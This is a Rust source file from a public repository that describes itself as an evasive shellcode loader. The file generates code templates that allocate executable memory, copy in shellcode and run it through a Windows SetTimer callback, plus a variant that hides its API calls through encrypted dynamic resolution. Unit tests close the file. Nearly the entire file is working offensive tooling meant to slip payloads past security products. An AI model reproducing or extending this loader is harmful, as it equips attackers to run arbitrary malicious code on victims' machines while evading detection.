myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

set_timer.rs (6117B)

      1 pub fn set_timer_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn set_timer_const() -> String {
      9     format!(
     10         r#"
     11 {}
     12 
     13 #[link(name = "user32")]
     14 extern "system" {{
     15     fn SetTimer(
     16         hwnd: *mut std::ffi::c_void,
     17         id_event: usize,
     18         elapse: u32,
     19         timer_func: *const std::ffi::c_void,
     20     ) -> usize;
     21 
     22     fn GetMessageW(
     23         msg: *mut u8,
     24         hwnd: *mut std::ffi::c_void,
     25         msg_filter_min: u32,
     26         msg_filter_max: u32,
     27     ) -> i32;
     28 
     29     fn DispatchMessageW(
     30         msg: *const u8,
     31     ) -> isize;
     32 }}
     33 "#,
     34         super::common::COMMON_MEMORY_CONSTANTS
     35     )
     36 }
     37 
     38 pub fn set_timer_init() -> String {
     39     String::new()
     40 }
     41 
     42 pub fn set_timer_process() -> String {
     43     r#"
     44     unsafe {
     45         let addr = VirtualAlloc(
     46             ptr::null_mut(),
     47             shellcode.len(),
     48             MEM_COMMIT | MEM_RESERVE,
     49             PAGE_EXECUTE_READWRITE,
     50         );
     51 
     52         if addr.is_null() {
     53             panic!("failed");
     54         }
     55 
     56         let addr_u8 = addr as *mut u8;
     57         for i in 0..shellcode.len() {
     58             *addr_u8.add(i) = shellcode[i];
     59         }
     60 
     61         let dummy: usize = 0;
     62         let result = SetTimer(ptr::null_mut(), dummy, 0, addr);
     63         if result == 0 {
     64             panic!("failed");
     65         }
     66 
     67         let mut msg = [0u8; 48];
     68         GetMessageW(msg.as_mut_ptr(), ptr::null_mut(), 0, 0);
     69         DispatchMessageW(msg.as_ptr());
     70     }
     71 "#
     72     .to_string()
     73 }
     74 
     75 fn generate_set_timer_template(function_name: &str) -> String {
     76     super::common::TechniqueTemplateBuilder::new()
     77         .with_import(set_timer_import())
     78         .with_const(set_timer_const())
     79         .with_init(set_timer_init())
     80         .with_process(set_timer_process())
     81         .build(function_name)
     82 }
     83 
     84 pub fn generate_set_timer_code(function_name: &str) -> String {
     85     generate_set_timer_template(function_name)
     86 }
     87 
     88 fn set_timer_process_with_dynamic_resolver(
     89     encryptor: &dyn crate::encryption::Encryptor,
     90 ) -> Result<String, String> {
     91     use super::dynamic_common::*;
     92 
     93     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
     94     let set_timer = set_timer_resolver(encryptor)?;
     95     let get_message_w = get_message_w_resolver(encryptor)?;
     96     let dispatch_message_w = dispatch_message_w_resolver(encryptor)?;
     97 
     98     Ok(format!(
     99         r#"
    100     unsafe {{
    101         {virtual_alloc_resolver}
    102         {virtual_alloc_cast}
    103 
    104         let addr = virtual_alloc(
    105             ptr::null(),
    106             shellcode.len(),
    107             MEM_COMMIT | MEM_RESERVE,
    108             PAGE_EXECUTE_READWRITE,
    109         );
    110 
    111         if addr.is_null() {{
    112             panic!("failed");
    113         }}
    114 
    115         let addr_u8 = addr as *mut u8;
    116         for i in 0..shellcode.len() {{
    117             *addr_u8.add(i) = shellcode[i];
    118         }}
    119 
    120         {set_timer_resolver}
    121         {set_timer_cast}
    122 
    123         let dummy: usize = 0;
    124         let result = set_timer(ptr::null_mut(), dummy, 0, addr);
    125         if result == 0 {{
    126             panic!("failed");
    127         }}
    128 
    129         {get_message_w_resolver}
    130         {get_message_w_cast}
    131 
    132         {dispatch_message_w_resolver}
    133         {dispatch_message_w_cast}
    134 
    135         let mut msg = [0u8; 48];
    136         get_message_w(msg.as_mut_ptr(), ptr::null_mut(), 0, 0);
    137         dispatch_message_w(msg.as_ptr());
    138     }}
    139 "#,
    140         virtual_alloc_resolver = virtual_alloc.resolver_code,
    141         virtual_alloc_cast = virtual_alloc.cast_code,
    142         set_timer_resolver = set_timer.resolver_code,
    143         set_timer_cast = set_timer.cast_code,
    144         get_message_w_resolver = get_message_w.resolver_code,
    145         get_message_w_cast = get_message_w.cast_code,
    146         dispatch_message_w_resolver = dispatch_message_w.resolver_code,
    147         dispatch_message_w_cast = dispatch_message_w.cast_code,
    148     ))
    149 }
    150 
    151 fn generate_set_timer_template_with_dynamic_resolver(
    152     function_name: &str,
    153     _encryption_type: &str,
    154     encryptor: &dyn crate::encryption::Encryptor,
    155 ) -> Result<String, String> {
    156     let process_code = set_timer_process_with_dynamic_resolver(encryptor)?;
    157 
    158     Ok(super::common::TechniqueTemplateBuilder::new()
    159         .with_import(set_timer_import())
    160         .with_const(set_timer_const())
    161         .with_init(set_timer_init())
    162         .with_process(process_code)
    163         .build(function_name))
    164 }
    165 
    166 pub fn generate_set_timer_code_with_dynamic_resolver(
    167     function_name: &str,
    168     encryption_type: &str,
    169     encryptor: &dyn crate::encryption::Encryptor,
    170 ) -> String {
    171     generate_set_timer_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
    172         .unwrap_or_else(|err| {
    173             panic!(
    174                 "Failed to generate SetTimer code with dynamic resolver (encryption: {}): {}",
    175                 encryption_type, err
    176             )
    177         })
    178 }
    179 
    180 pub struct SetTimerGenerator;
    181 
    182 impl super::trait_generator::TechniqueGenerator for SetTimerGenerator {
    183     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    184         generate_set_timer_code(function_name)
    185     }
    186 
    187     fn generate_code_with_dynamic_resolver(
    188         &self,
    189         _process: &str,
    190         function_name: &str,
    191         encryption_type: &str,
    192         encryptor: &dyn crate::encryption::Encryptor,
    193     ) -> String {
    194         generate_set_timer_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
    195     }
    196 
    197     fn requires_process(&self) -> bool {
    198         false
    199     }
    200 
    201     fn name(&self) -> &'static str {
    202         "SetTimer"
    203     }
    204 }
    205 
    206 #[cfg(test)]
    207 mod tests {
    208     use super::*;
    209 
    210     #[test]
    211     fn test_generate_set_timer_template_contains_all_parts() {
    212         let template = generate_set_timer_template("MyFunction");
    213         assert!(template.contains("use std::ptr"));
    214         assert!(template.contains("MEM_COMMIT"));
    215         assert!(template.contains("SetTimer"));
    216         assert!(template.contains("fn MyFunction"));
    217         assert!(template.contains("VirtualAlloc"));
    218     }
    219 
    220     #[test]
    221     fn test_generate_set_timer_code() {
    222         let code = generate_set_timer_code("MyRandomFunc");
    223         assert!(code.contains("fn MyRandomFunc"));
    224         assert!(code.contains("SetTimer"));
    225         assert!(code.contains("GetMessageW"));
    226     }
    227 }